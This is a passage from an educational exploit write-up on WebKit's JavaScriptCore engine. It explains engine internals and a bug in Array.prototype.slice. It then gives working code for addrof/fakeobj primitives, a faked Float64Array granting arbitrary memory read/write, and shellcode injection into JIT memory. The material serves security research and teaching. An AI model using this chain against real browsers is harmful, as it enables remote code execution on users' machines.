Internally, JSC stores both properties and elements in the same memory region and stores a pointer to that region in the object itself. This pointer points to the middle of the region, properties are stored to the left of it (lower addresses) and elements to the right of it. There is also a small header located just before the pointed to address that contains the length of the element vector. This concept is called a "Butterfly" since the values expand to the left and right, similar to the wings of a butterfly. Presumably. In the following, we will refer to both the pointer and the memory region as "Butterfly". In case it is not obvious from the context, the specific meaning will be noted.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.. | propY | propX | length | elem0 | elem1 | elem2 | ..

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Some Object |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

Although typical, elements do not have to be stored linearly in memory. In particular, code such as

a = [];

a[0] = 42;

a[10000] = 42;

will likely lead to an array stored in some kind of sparse mode, which performs an additional mapping step from the given index to an index into the backing storage. That way this array does not require 10001 value slots. Besides the different array storage models, arrays can also store their data using different representations. For example, an array of 32‑bit integers could be stored in native form to avoid the (NaN‑)unboxing and reboxing process during most operations and save some memory. As such, JSC defines a set of different indexing types which can be found in IndexingType.h. The most important ones are:

ArrayWithInt32 = IsArray | Int32Shape; ArrayWithDouble = IsArray | DoubleShape; ArrayWithContiguous = IsArray | ContiguousShape;

Here, the last type stores JSValues while the former two store their native types.

At this point the reader probably wonders how a property lookup is performed in this model. We will dive into this extensively later on, but the short version is that a special meta‑object, called a "structure" in JSC, is associated with every object which provides a mapping from property names to slot numbers.

‑‑‑‑[ 1.3 ‑ Functions

Functions are quite important in the JavaScript language. As such they deserve some discussion on their own.

When executing a function's body, two special variables become available. One of them, 'arguments' provides access to the arguments (and caller) of the function, thus enabling the creation of function with a variable number of arguments. The other, 'this', refers to different objects depending on the invocation of the function:

* If the function was called as a constructor (using 'new func()'), then 'this' points to the newly created object. Its prototype has already been set to the .prototype property of the function object, which is set to a new object during function definition.

* If the function was called as a method of some object (using 'obj.func()'), then 'this' will point to the reference object.

* Else 'this' simply points to the current global object, as it does outside of a function as well.

Since functions are first class objects in JavaScript they too can have properties. We've already seen the .prototype property above. Two other quite interesting properties of each function (actually of the function prototype) are the .call and .apply functions, which allow calling the function with a given 'this' object and arguments. This can for example be used to implement decorator functionality:

function decorate(func) {

return function() {

for (var i = 0; i < arguments.length; i++) { // do something with arguments[i]

}

return func.apply(this, arguments);

};

}

This also has some implications on the implementation of JavaScript functions inside the engine as they cannot make any assumptions about the value of the reference object which they are called with, as it can be set to arbitrary values from script. Thus, all internal JavaScript functions will need to check the type of not only their arguments but also of the this object.

Internally, the built‑in functions and methods [8] are usually implemented in one of two ways: as native functions in C++ or in JavaScript itself. Let's look at a simple example of a native function in JSC: the implementation of Math.pow():

EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec) {

// ECMA 15.8.2.1.13

double arg = exec‑>argument(0).toNumber(exec); double arg2 = exec‑>argument(1).toNumber(exec);

return JSValue::encode(JSValue(operationMathPow(arg, arg2))); }

We can see:

1. The signature for native JavaScript functions

2. How arguments are extracted using the argument method (which returns the undefined value if not enough arguments were provided)

3. How arguments are converted to their required type. There is a set of conversion rules governing the conversion of e.g. arrays to numbers which toNumber will make use of. More on these later.

4. How the actual operation is performed on the native data type

5. How the result is returned to the caller. In this case simply by encoding the resulting native number into a value.

There is another pattern visible here: the core implementation of various operations (in this case operationMathPow) are moved into separate functions so they can be called directly from JIT compiled code.

‑‑[ 2 ‑ The bug

The bug in question lies in the implementation of Array.prototype.slice [9]. The native function arrayProtoFuncSlice, located in ArrayPrototype.cpp, is invoked whenever the slice method is called in JavaScript:

var a = [1, 2, 3, 4];

var s = a.slice(1, 3);

// s now contains [2, 3]

The implementation is given below with minor reformatting, some omissions for readability, and markers for the explanation below. The full implementation can be found online as well [10].

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) {

/* [[ 1 ]] */

JSObject* thisObj = exec‑>thisValue() .toThis(exec, StrictMode) .toObject(exec);

if (!thisObj)

return JSValue::encode(JSValue());

/* [[ 2 ]] */

unsigned length = getLength(exec, thisObj);

if (exec‑>hadException())

return JSValue::encode(jsUndefined());

/* [[ 3 ]] */

unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

/* [[ 4 ]] */

std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end ‑ begin); // We can only get an exception if we call some user function.

if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))

return JSValue::encode(jsUndefined());

/* [[ 5 ]] */

if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {

if (JSArray* result = asArray(thisObj)‑>fastSlice(*exec, begin, end ‑ begin)) return JSValue::encode(result);

}

JSObject* result;

if (speciesResult.first == SpeciesConstructResult::CreatedObject) result = speciesResult.second;

else

result = constructEmptyArray(exec, nullptr, end ‑ begin);

unsigned n = 0;

for (unsigned k = begin; k < end; k++, n++) { JSValue v = getProperty(exec, thisObj, k);

if (exec‑>hadException())

return JSValue::encode(jsUndefined());

if (v)

result‑>putDirectIndex(exec, n, v);

}

setLength(exec, result, n);

return JSValue::encode(result);

}

The code essentially does the following:

1. Obtain the reference object for the method call (this will be the array object)

2. Retrieve the length of the array

3. Convert the arguments (start and end index) into native integer types and clamp them to the range [0, length)

4. Check if a species constructor [11] should be used

5. Perform the slicing

The last step is done in one of two ways: if the array is a native array with dense storage, 'fastSlice' will be used which just memcpy's the values into the new array using the given index and length. If the fast path is not possible, a simple loop is used to fetch each element and add it to the new array. Note that, in contrast to the property accessors used on the slow path, fastSlice does not perform any additional bounds checking... ;)

Looking at the code, it is easy to assume that the variables 'begin' and `end` would be smaller than the size of the array after they had been converted to native integers. However, we can violate that assumption by (ab)using the JavaScript type conversion rules.

‑‑‑‑[ 2.2 ‑ About JavaScript conversion rules

JavaScript is inherently weakly typed, meaning it will happily convert values of different types into the type that it currently requires. Consider Math.abs(), which returns the absolute value of the argument. All of the following are "valid" invocations, meaning they won't raise an exception:

Math.abs(‑42); // argument is a number

// 42

Math.abs("‑42"); // argument is a string

// 42

Math.abs([]); // argument is an empty array

// 0

Math.abs(true); // argument is a boolean

// 1

Math.abs({}); // argument is an object

// NaN

In contrast, strongly‑typed languages such as python will usually raise an exception (or, in case of statically‑typed languages, issue a compiler error) if e.g. a string is passed to abs().

The conversion rules for numeric types are described in [12]. The rules governing the conversion from object types to numbers (and primitive types in general) are especially interesting. In particular, if the object has a callable property named "valueOf", this method will be called and the return value used if it is a primitive value. And thus:

Math.abs({valueOf: function() { return ‑42; }});

// 42

‑‑‑‑[ 2.3 ‑ Exploiting with "valueOf"

In the case of `arrayProtoFuncSlice` the conversion to a primitive type is performed in argumentClampedIndexFromStartOrEnd. This method also clamps the arguments to the range [0, length):

JSValue value = exec‑>argument(argument);

if (value.isUndefined())

return undefinedValue;

double indexDouble = value.toInteger(exec); // Conversion happens here

if (indexDouble < 0) {

indexDouble += length;

return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble); }

return indexDouble > length ? length :

static_cast<unsigned>(indexDouble);

Now, if we modify the length of the array inside a valueOf function of one of the arguments, then the implementation of slice will continue to use the previous length, resulting in an out‑of‑bounds access during the memcpy.

Before doing this however, we have to make sure that the element storage is actually resized if we shrink the array. For that let's have a quick look at the implementation of the .length setter. From JSArray::setLength:

unsigned lengthToClear = butterfly‑>publicLength() ‑ newLength; unsigned costToAllocateNewButterfly = 64; // a heuristic.

if (lengthToClear > newLength &&

lengthToClear > costToAllocateNewButterfly) { reallocateAndShrinkButterfly(exec‑>vm(), newLength); return true;

}

This code implements a simple heuristic to avoid relocating the array too often. To force a relocation of our array we will thus need the new size to be much less then the old size. Resizing from e.g. 100 elements to 0 will do the trick.

With that, here's how we can exploit Array.prototype.slice:

var a = [];

for (var i = 0; i < 100; i++)

a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }}); // b = [0.123,1.123,2.12199579146e‑313,0,0,0,0,0,0,0]

The correct output would have been an array of size 10 filled with 'undefined' values since the array has been cleared prior to the slice operation. However, we can see some float values in the array. Seems like we've read some stuff past the end of the array elements :)

‑‑‑‑[ 2.4 ‑ Reflecting on the bug

This particular programming mistake is not new and has been exploited for a while now [13, 14, 15]. The core problem here is (mutable) state that is "cached" in a stack frame (in this case the length of the array object) in combination with various callback mechanisms that can execute user supplied code further down in the call stack (in this case the "valueOf" method). With this setting it is quite easy to make false assumptions about the state of the engine throughout a function. The same kind of problem appears in the DOM as well due to the various event callbacks.

‑‑[ 3 ‑ The JavaScriptCore heaps

At this point we've read data past our array but don't quite know what we are accessing there. To understand this, some background knowledge about the JSC heap allocators is required.

‑‑‑‑[ 3.1 ‑ Garbage collector basics

JavaScript is a garbage collected language, meaning the programmer does not need to care about memory management. Instead, the garbage collector will collect unreachable objects from time to time.

One approach to garbage collection is reference counting, which is used extensively in many applications. However, as of today, all major JavaScript engines instead use a mark and sweep algorithm. Here the collector regularly scans all alive objects, starting from a set of root nodes, and afterwards frees all dead objects. The root nodes are usually pointers located on the stack as well as global objects like the 'window' object in a web browser context.

There are various distinctions between garbage collection systems. We will now discuss some key properties of garbage collection systems which should help the reader understand some of the related code. Readers familiar with the subject are free to skip to the end of this section.

First off, JSC uses a conservative garbage collector [16]. In essence, this means that the GC does not keep track of the root nodes itself. Instead, during GC it will scan the stack for any value that could be a pointer into the heap and treats those as root nodes. In contrast, e.g. Spidermonkey uses a precise garbage collector and thus needs to wrap all references to heap objects on the stack inside a pointer class (Rooted<>) that takes care of registering the object with the garbage collector.

Next, JSC uses an incremental garbage collector. This kind of garbage collector performs the marking in several steps and allows the application to run in between, reducing GC latency. However, this requires some additional effort to work correctly. Consider the following case:

* the GC runs and visits some object O and all its referenced objects. It marks them as visited and later pauses so the application can run again.

* O is modified and a new reference to another Object P is added to it.

* Then the GC runs again but it doesn't know about P. It finishes the marking phase and frees the memory of P.

To avoid this scenario, so called write barriers are inserted into the engine. These take care of notifying the garbage collector in such a scenario. These barriers are implemented in JSC with the WriteBarrier<> and CopyBarrier<> classes.

Last, JSC uses both, a moving and a non‑moving garbage collector. A moving garbage collector moves live objects to a different location and updates all pointers to these objects. This optimizes for the case of many dead objects since there is no runtime overhead for these: instead of adding them to a free list, the whole memory region is simply declared free. JSC stores the JavaScript objects itself, together with a few other objects, inside a non‑moving heap, the marked space, while storing the butterflies and other arrays inside a moving heap, the copied space.

‑‑‑‑[ 3.2 ‑ Marked space

The marked space is a collection of memory blocks that keep track of the allocated cells. In JSC, every object allocated in marked space must inherit from the JSCell class and thus starts with an eight byte header, which, among other fields, contains the current cell state as used by the GC. This field is used by the collector to keep track of the cells that it has already visited.

There is another thing worth mentioning about the marked space: JSC stores a MarkedBlock instance at the beginning of each marked block:

inline MarkedBlock* MarkedBlock::blockFor(const void* p) {

return reinterpret_cast<MarkedBlock*>( reinterpret_cast<Bits>(p) & blockMask); }

This instance contains among other things a pointers to the owning Heap and VM instance which allows the engine to obtain these if they are not available in the current context. This makes it more difficult to set up fake objects, as a valid MarkedBlock instance might be required when performing certain operations. It is thus desirable to create fake objects inside a valid marked block if possible.

‑‑‑‑[ 3.3 ‑ Copied space

The copied space stores memory buffers that are associated with some object inside the marked space. These are mostly butterflies, but the contents of typed arrays may also be located here. As such, our out‑of‑bounds access happens in this memory region.

The copied space allocator is very simple:

CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out) { ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));

size_t currentRemaining = m_currentRemaining;

if (bytes > currentRemaining)

return false;

currentRemaining ‑= bytes;

m_currentRemaining = currentRemaining;

*out = m_currentPayloadEnd ‑ currentRemaining ‑ bytes;

ASSERT(is8ByteAligned(*out));

return true;

}

This is essentially a bump allocator: it will simply return the next N bytes of memory in the current block until the block is completely used. Thus, it is almost guaranteed that two following allocations will be placed adjacent to each other in memory (the edge case being that the first fills up the current block).

This is good news for us. If we allocate two arrays with one element each, then the two butterflies will be next to each other in virtually every case.

‑‑[ 4 ‑ Building exploit primitives

While the bug in question looks like an out‑of‑bound read at first, it is actually a more powerful primitive as it lets us "inject" JSValues of our choosing into the newly created JavaScript arrays, and thus into the engine.

We will now construct two exploit primitives from the given bug, allowing us to

1. leak the address of an arbitrary JavaScript object and

2. inject a fake JavaScript Object into the engine.

We will call these primitives 'addrof' and 'fakeobj'.

‑‑‑‑[ 4.1 Prerequisites: Int64

As we've previously seen, our exploit primitive currently returns floating point values instead of integers. In fact, at least in theory, all numbers in JavaScript are 64‑bit floating point numbers [17]. In reality, as already mentioned, most engines have a dedicated 32‑bit integer type for performance reasons, but convert to floating point values when necessary (i.e. on overflow). It is thus not possible to represent arbitrary 64‑bit integers (and in particular addresses) with primitive numbers in JavaScript.

As such, a helper module had to be built which allowed storing 64‑bit integer instances. It supports

* Initialization of Int64 instances from different argument types: strings, numbers and byte arrays.

* Assigning the result of addition and subtraction to an existing instance through the assignXXX methods. Using these methods avoids further heap allocations which might be desirable at times.

* Creating new instances that store the result of an addition or subtraction through the Add and Sub functions.

* Converting between doubles, JSValues and Int64 instances such that the underlying bit pattern stays the same.

The last point deserves further discussing. As we've seen above, we obtain a double whose underlying memory interpreted as native integer is our desired address. We thus need to convert between native doubles and our integers such that the underlying bits stay the same. asDouble() can be thought of as running the following C code:

double asDouble(uint64_t num)

{

return *(double*)&num;

}

The asJSValue method further respects the NaN‑boxing procedure and produces a JSValue with the given bit pattern. The interested reader is referred to the int64.js file inside the attached source code archive for more details.

With this out of the way let us get back to building our two exploit primitives.

‑‑‑‑[ 4.2 addrof and fakeobj

Both primitives rely on the fact that JSC stores arrays of doubles in native representation as opposed to the NaN‑boxed representation. This essentially allows us to write native doubles (indexing type ArrayWithDoubles) but have the engine treat them as JSValues (indexing type ArrayWithContiguous) and vice versa.

So, here are the steps required for exploiting the address leak:

1. Create an array of doubles. This will be stored internally as IndexingType ArrayWithDouble

2. Set up an object with a custom valueOf function which will

2.1 shrink the previously created array

2.2 allocate a new array containing just the object whose address we wish to know. This array will (most likely) be placed right behind the new butterfly since it's located in copied space

2.3 return a value larger than the new size of the array to trigger the bug

3. Call slice() on the target array the object from step 2 as one of the arguments

We will now find the desired address in the form of a 64‑bit floating point value inside the array. This works because slice() preserves the indexing type. Our new array will thus treat the data as native doubles as well, allowing us to leak arbitrary JSValue instances, and thus pointers.

The fakeobj primitive works essentially the other way around. Here we inject native doubles into an array of JSValues, allowing us to create JSObject pointers:

1. Create an array of objects. This will be stored internally as IndexingType ArrayWithContiguous

2. Set up an object with a custom valueOf function which will

2.1 shrink the previously created array

2.2 allocate a new array containing just a double whose bit pattern matches the address of the JSObject we wish to inject. The double will be stored in native form since the array's IndexingType will be ArrayWithDouble

2.3 return a value larger than the new size of the array to trigger the bug

3. Call slice() on the target array the object from step 2 as one of the arguments

For completeness, the implementation of both primitives is printed below.

function addrof(object) {

var a = [];

for (var i = 0; i < 100; i++)

a.push(i + 0.1337); // Array must be of type ArrayWithDoubles

var hax = {valueOf: function() {

a.length = 0;

a = [object];

return 4;

}};

var b = a.slice(0, hax);

return Int64.fromDouble(b[3]);

}

function fakeobj(addr) {

var a = [];

for (var i = 0; i < 100; i++)

a.push({}); // Array must be of type ArrayWithContiguous

addr = addr.asDouble();

var hax = {valueOf: function() {

a.length = 0;

a = [addr];

return 4;

}};

return a.slice(0, hax)[3];

}

‑‑‑‑[ 4.3 ‑ Plan of exploitation

From here on our goal will be to obtain an arbitrary memory read/write primitive through a fake JavaScript object. We are faced with the following questions:

Q1. What kind of object do we want to fake?

Q2. How do we fake such an object?

Q3. Where do we place the faked object so that we know its address?

For a while now, JavaScript engines have supported typed arrays [18], an efficient and highly optimizable storage for raw binary data. These turn out to be good candidates for our fake object as they are mutable (in contrast to JavaScript strings) and thus controlling their data pointer yields an arbitrary read/write primitive usable from script. Ultimately our goal will now be to fake a Float64Array instance.

We will now turn to Q2 and Q3, which require another discussion of JSC internals, namely the JSObject system.

‑‑[ 5 ‑ Understanding the JSObject system

JavaScript objects are implemented in JSC by a combination of C++ classes. At the center lies the JSObject class which is itself a JSCell (and as such tracked by the garbage collector). There are various subclasses of JSObject that loosely resemble different JavaScript objects, such as Arrays (JSArray), Typed arrays (JSArrayBufferView), or Proxys (JSProxy).

We will now explore the different parts that make up JSObjects inside the JSC engine.

‑‑‑‑[ 5.1 ‑ Property storage

Properties are the most important aspect of JavaScript objects. We have already seen how properties are stored in the engine: the butterfly. But that is only half the truth. Besides the butterfly, JSObjects can also have inline storage (6 slots by default, but subject to runtime analysis), located right after the object in memory. This can result in a slight performance gain if no butterfly ever needs to be allocated for an object.

The inline storage is interesting for us since we can leak the address of an object, and thus know the address of its inline slots. These make up a good candidate to place our fake object in. As added bonus, going this way we also avoid any problem that might arise when placing an object outside of a marked block as previously discussed. This answers Q3.

Let's turn to Q2 now.

‑‑‑‑[ 5.2 ‑ JSObject internals

We will start with an example: suppose we run the following piece of JS code:

obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};

This will result in the following object:

(lldb) x/6gx 0x10cd97c10

0x10cd97c10: 0x0100150000000136 0x0000000000000000 0x10cd97c20: 0xffff000000001337 0x0000000000000006 0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10

The first quadword is the JSCell. The second one the Butterfly pointer, which is null since all properties are stored inline. Next are the inline JSValue slots for the four properties: an integer, false, a double, and a JSObject pointer. If we were to add more properties to the object, a butterfly would at some point be allocated to store these.

So what does a JSCell contain? JSCell.h reveals:

StructureID m_structureID;

This is the most interesting one, we'll explore it further below.

IndexingType m_indexingType;

We've already seen this before. It indicates the storage mode of the object's elements.

JSType m_type;

Stores the type of this cell: string, symbol,function, plain object, ...

TypeInfo::InlineTypeFlags m_flags;

Flags that aren't too important for our purposes. JSTypeInfo.h contains further information.

CellState m_cellState;

We've also seen this before. It is used by the garbage collector during collection.

‑‑‑‑[ 5.3 ‑ About structures

JSC creates meta‑objects which describe the structure, or layout, of a JavaScript object. These objects represent mappings from property names to indices into the inline storage or the butterfly (both are treated as JSValue arrays). In its most basic form, such a structure could be an array of <property name, slot index> pairs. It could also be implemented as a linked list or a hash map. Instead of storing a pointer to this structure in every JSCell instance, the developers instead decided to store a 32‑bit index into a structure table to save some space for the other fields.

So what happens when a new property is added to an object? If this happens for the first time then a new Structure instance will be allocated, containing the previous slot indices for all exiting properties and an additional one for the new property. The property would then be stored at the corresponding index, possibly requiring a reallocation of the butterfly. To avoid repeating this process, the resulting Structure instance can be cached in the previous structure, in a data structure called "transiton table". The original structure might also be adjusted to allocate more inline or butterfly storage up front to avoid the reallocation. This mechanism ultimately makes structures reusable.

Time for an example. Suppose we have the following JavaScript code:

var o = { foo: 42 };

if (someCondition)

o.bar = 43;

else

o.baz = 44;

This would result in the creation of the following three Structure instances, here shown with the (arbitrary) property name to slot index mappings:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑

| Structure 1 | +bar | Structure 2 |

| +‑‑‑‑‑‑‑‑‑>|

| foo: 0 | | foo: 0 |

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+ | bar: 1 |

| +‑‑‑‑‑‑‑‑‑‑

| +baz +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑>| Structure 3 |

| |

| foo: 0 |

| baz: 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Whenever this piece of code was executed again, the correct structure for the created object would then be easy to find.

Essentially the same concept is used by all major engines today. V8 calls them maps or hidden classes [19] while Spidermonkey calls them Shapes.

This technique also makes speculative JIT compilers simpler. Assume the following function:

function foo(a) {

return a.bar + 3;

}

Assume further that we have executed the above function a couple of times inside the interpreter and now decide to compile it to native code for better performance. How do we deal with the property lookup? We could simply jump out to the interpreter to perform the lookup, but that would be quite expensive. Assuming we've also traced the objects that were given to foo as arguments and found out they all used the same structure. We can now generate (pseudo‑)assembly code like the following. Here r0 initially points to the argument object:

mov r1, [r0 + #structure_id_offset];

cmp r1, #structure_id;

jne bailout_to_interpreter;

mov r2, [r0 + #inline_property_offset];

This is just a few instructions slower than a property access in a native language such as C. Note that the structure ID and property offset are cached inside the code itself, thus the name for these kind of code constructs: inline caches.

Besides the property mappings, structures also store a reference to a ClassInfo instance. This instance contains the name of the class ("Float64Array", "HTMLParagraphElement", ...), which is also accessible from script via the following slight hack:

Object.prototype.toString.call(object);

// Might print "[object HTMLParagraphElement]"

However, the more important property of the ClassInfo is its MethodTable reference. A MethodTable contains a set of function pointers, similar to a vtable in C++. Most of the object related operations [20] as well as some garbage collection related tasks (visiting all referenced objects for example) are implemented through methods in the method table. To give an idea about how the method table is used, the following code snippet from JSArray.cpp is shown. This function is part of the MethodTable of the ClassInfo instance for JavaScript arrays and will be called whenever a property of such an instance is deleted [21] by script

bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,

PropertyName propertyName)

{

JSArray* thisObject = jsCast<JSArray*>(cell);

if (propertyName == exec‑>propertyNames().length) return false;

return JSObject::deleteProperty(thisObject, exec, propertyName); }

As we can see, deleteProperty has a special case for the .length property of an array (which it won't delete), but otherwise forwards the request to the parent implementation.

The next diagram summarizes (and slightly simplifies) the relationships between the different C++ classes that together build up the JSC object system.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Butterfly | | baz | bar | foo | length: 2 | 42 | 13.37 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑+ |

| | |

+‑‑+ JSCell | | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | | |

| +‑‑‑‑‑‑‑‑‑‑+ | |MethodTable |

| /\ | |

References | || inherits | | Put |

by ID in | +‑‑‑‑++‑‑‑‑+ | | Get |

structure | | +‑‑‑‑‑+ | Delete |

table | | JSObject | | VisitChildren |

| | |<‑‑‑‑‑ |

| +‑‑‑‑‑‑‑‑‑‑+ | |

| /\ | +

| || inherits | ^

| +‑‑‑‑++‑‑‑‑+ |

| | | | associated |

| | JSArray | | prototype |

| | | | object |

| +‑‑‑‑‑‑‑‑‑‑+ |

| |

v | +‑‑‑‑‑‑‑+‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | ClassInfo |

| Structure +‑‑‑+ +‑‑>| |

| | |Name: "Array" |

| property: slot | | | |

| foo : 0 +‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| bar : 1 |

| baz : 2 |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

‑‑[ 6 ‑ Exploitation

Now that we know a bit more about the internals of the JSObject class, let's get back to creating our own Float64Array instance which will provide us with an arbitrary memory read/write primitive. Clearly, the most important part will be the structure ID in the JSCell header, as the associated structure instance is what makes our piece of memory "look like" a Float64Array to the engine. We thus need to know the ID of a Float64Array structure in the structure table.

‑‑‑‑[ 6.1 ‑ Predicting structure IDs

Unfortunately, structure IDs aren't necessarily static across different runs as they are allocated at runtime when required. Further, the IDs of structures created during engine startup are version dependent. As such we don't know the structure ID of a Float64Array instance and will need to determine it somehow.

Another slight complication arises since we cannot use arbitrary structure IDs. This is because there are also structures allocated for other garbage collected cells that are not JavaScript objects (strings, symbols, regular expression objects, even structures themselves). Calling any method referenced by their method table will lead to a crash due to a failed assertion. These structures are only allocated at engine startup though, resulting in all of them having fairly low IDs.

To overcome this problem we will make use of a simple spraying approach: we will spray a few thousand structures that all describe Float64Array instances, then pick a high initial ID and see if we've hit a correct one.

for (var i = 0; i < 0x1000; i++) {

var a = new Float64Array(1);

// Add a new property to create a new Structure instance.

a[randomString()] = 1337;

}

We can find out if we've guessed correctly by using 'instanceof'. If we did not, we simply use the next structure.

while (!(fakearray instanceof Float64Array)) {

// Increment structure ID by one here

}

Instanceof is a fairly safe operation as it will only fetch the structure, fetch the prototype from that and do a pointer comparison with the given prototype object.

‑‑‑‑[ 6.2 ‑ Putting things together: faking a Float64Array

Float64Arrays are implemented by the native JSArrayBufferView class. In addition to the standard JSObject fields, this class also contains the pointer to the backing memory (we'll refer to it as 'vector', similar to the source code), as well as a length and mode field (both 32‑bit integers).

Since we place our Float64Array inside the inline slots of another object (referred to as 'container' from now on), we'll have to deal with some restrictions that arise due to the JSValue encoding. Specifically we

* cannot set a nullptr butterfly pointer since null isn't a valid JSValue. This is fine for now as the butterfly won't be accessed for simple element access operations

* cannot set a valid mode field since it has to be larger than 0x00010000 due to the NaN‑boxing. We can freely control the length field though

* can only set the vector to point to another JSObject since these are the only pointers that a JSValue can contain

Due to the last constraint we'll set up the Float64Array's vector to point to a Uint8Array instance:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

| Float64Array | +‑‑‑‑‑‑‑‑‑‑‑‑‑>| Uint8Array |

| | | |

| JSCell | | | JSCell |

| butterfly | | | butterfly |

| vector ‑‑‑‑‑‑+‑‑‑+ | vector |

| length | | length |

| mode | | mode |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

With this we can now set the data pointer of the second array to an arbitrary address, providing us with an arbitrary memory read/write.

Below is the code for creating a fake Float64Array instance using our previous exploit primitives. The attached exploit code then creates a global 'memory' object which provides convenient methods to read from and write to arbitrary memory regions.

sprayFloat64ArrayStructures();

// Create the array that will be used to

// read and write arbitrary memory addresses.

var hax = new Uint8Array(0x1000);

var jsCellHeader = new Int64([

00, 0x10, 00, 00, // m_structureID, current guess

0x0, // m_indexingType

0x27, // m_type, Float64Array

0x18, // m_flags, OverridesGetOwnPropertySlot |

// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero

0x1 // m_cellState, NewWhite

]);

var container = {

jsCellHeader: jsCellHeader.encodeAsJSVal(), butterfly: false, // Some arbitrary value

vector: hax,

lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue() };

// Create the fake Float64Array.

var address = Add(addrof(container), 16);

var fakearray = fakeobj(address);

// Find the correct structure ID.

while (!(fakearray instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.encodeAsJSVal(); }

// All done, fakearray now points onto the hax array

To "visualize" the result, here is some lldb output. The container object is located at 0x11321e1a0:

(lldb) x/6gx 0x11321e1a0

0x11321e1a0: 0x0100150000001138 0x0000000000000000 0x11321e1b0: 0x0118270000001000 0x0000000000000006 0x11321e1c0: 0x0000000113217360 0x0001000000000010 (lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10) (JSC::JSArrayBufferView) $0 = { JSC::JSNonFinalObject = {

JSC::JSObject = {

JSC::JSCell = {

m_structureID = 4096

m_indexingType = '\0'

m_type = Float64ArrayType

m_flags = '\x18'

m_cellState = NewWhite

}

m_butterfly = {

JSC::CopyBarrierBase = (m_value = 0x0000000000000006) }

}

}

m_vector = {

JSC::CopyBarrierBase = (m_value = 0x0000000113217360) }

m_length = 16

m_mode = 65536

}

Note that m_butterfly as well as m_mode are invalid as we cannot write null there. This causes no trouble for now but will be problematic once a garbage collection run occurs. We'll deal with this later.

‑‑‑‑[ 6.3 ‑ Executing shellcode

One nice thing about JavaScript engines is the fact that all of them make use of JIT compiling. This requires writing instructions into a page in memory and later executing them. For that reasons most engines, including JSC, allocate memory regions that are both writable and executable. This is a good target for our exploit. We will use our memory read/write primitive to leak a pointer into the JIT compiled code for a JavaScript function, then write our shellcode there and call the function, resulting in our own code being executed.

The attached PoC exploit implements this. Below is the relevant part of the runShellcode function.

// This simply creates a function and calls it multiple times to

// trigger JIT compilation.

var func = makeJITCompiledFunction();

var funcAddr = addrof(func);

print("[+] Shellcode function object @ " + funcAddr);

var executableAddr = memory.readInt64(Add(funcAddr, 24)); print("[+] Executable instance @ " + executableAddr);

var jitCodeAddr = memory.readInt64(Add(executableAddr, 16)); print("[+] JITCode instance @ " + jitCodeAddr);

var codeAddr = memory.readInt64(Add(jitCodeAddr, 32)); print("[+] RWX memory @ " + codeAddr.toString());

print("[+] Writing shellcode..."); memory.write(codeAddr, shellcode);

print("[!] Jumping into shellcode...");

func();

As can be seen, the PoC code performs the pointer leaking by reading a couple of pointers from fixed offsets into a set of objects, starting from a JavaScript function object. This isn't great (since offsets can change between versions), but suffices for demonstration purposes. As a first improvement, one should try to detect valid pointers using some simple heuristics (highest bits all zero, "close" to other known memory regions, ...). Next, it might be possible to detect some objects based on unique memory patterns. For example, all classes inheriting from JSCell (such as ExecutableBase) will start with a recognizable header. Also, the JIT compiled code itself will likely start with a known function prologue.

Note that starting with iOS 10, JSC no longer allocates a single RWX region but rather uses two virtual mappings to the same physical memory region, one of them executable and the other one writable. A special version of memcpy is then emitted at runtime which contains the (random) address of the writable region as immediate value and is mapped ‑‑X, preventing an attacker from reading the address. To bypass this, a short ROP chain would now be required to call this memcpy before jumping into the executable mapping.

‑‑‑‑[ 6.4 ‑ Staying alive past garbage collection

